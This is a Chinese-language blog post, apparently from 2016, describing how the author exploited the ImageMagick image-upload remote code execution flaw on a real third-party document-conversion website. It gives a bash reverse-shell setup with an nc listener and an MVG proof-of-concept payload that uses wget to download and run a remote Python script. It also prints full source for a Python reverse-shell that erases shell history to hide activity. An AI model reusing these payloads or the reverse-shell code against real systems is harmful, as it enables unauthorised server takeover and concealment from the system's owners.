前一段时间爆出ImageMagick的漏洞,当时一直尝试在wordpress上复现,乌云社区上也试了许多白帽子在三个白帽里创建的wp环境,也试了自己这个博客,通通不行。

今天看社区有大牛发了个站点,感觉挺牛逼的一个站点,就复现一下;

站点是一个号称是全世界最大的文档格式转换站点:

20160601231727.jpg

漏洞细节网上很多;

大致意思就是图片内容是远程执行代码,上传图片即执行!

1、这里先用bash反弹吧;

20160601231311.jpg

第一个框:bash
第二个框:你的外网主机ip
第三个框:将流量转发到你主机的端口号,用于监听

2、外网主机设置监听,怎么监听方式都可以,我也就用最大众的nc吧;

nc -l 2222   

3、在网站上找到一个上传JPG格式的上传点(PNG也是一样):

20160601231319.jpg

直接Add图片,然后Start上传,等待一会;

shell就反弹回来了;

20160601231638.jpg

除了bash还是有其他的方法的,因为这毕竟只是弹出来shell;

如果是使用PY脚本(前提服务器需要支持python):

这是监听的脚本传到你网站的根目录,比如:http://www.baidu.com/x.py

然后POC:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget http://xxxxxx/x.py -O /tmp/x.py && python /tmp/x.py xxxxxxxx 2222")'
pop graphic-context

这个脚本网上很多,反应强烈的乌云社区的back.py;

20160601234427.jpg

但网站限制,不能放这个脚本,我就源码打出来吧:

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
	print 'python reverse connector'
	print 'usage: %s <ip_addr> <port>' % name

def main():
	if len(sys.argv) !=3:
	usage(sys.argv[0])
	sys.exit()
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	try:
		s.connect((sys.argv[1],int(sys.argv[2])))
		print 'connect ok'
	except:
		print 'connect faild'
	sys.exit()
	os.dup2(s.fileno(),0)
	os.dup2(s.fileno(),1)
	os.dup2(s.fileno(),2)
	global shell
	os.unsetenv("HISTFILE")
	os.unsetenv("HISTFILESIZE")
	os.unsetenv("HISTSIZE")
	os.unsetenv("HISTORY")
	os.unsetenv("HISTSAVE")
	os.unsetenv("HISTZONE")
	os.unsetenv("HISTLOG")
	os.unsetenv("HISTCMD")
	os.putenv("HISTFILE",'/dev/null')
	os.putenv("HISTSIZE",'0')
	os.putenv("HISTFILESIZE",'0')
	pty.spawn(shell)
	s.close()

if __name__ == '__main__':
	main()

现在这个洞在wp还是很普遍的,我的博客阿里还一直发邮件说存在ImageMagick命令执行高危漏洞,需不需要阿里安骑士来自动修复(花钱的)…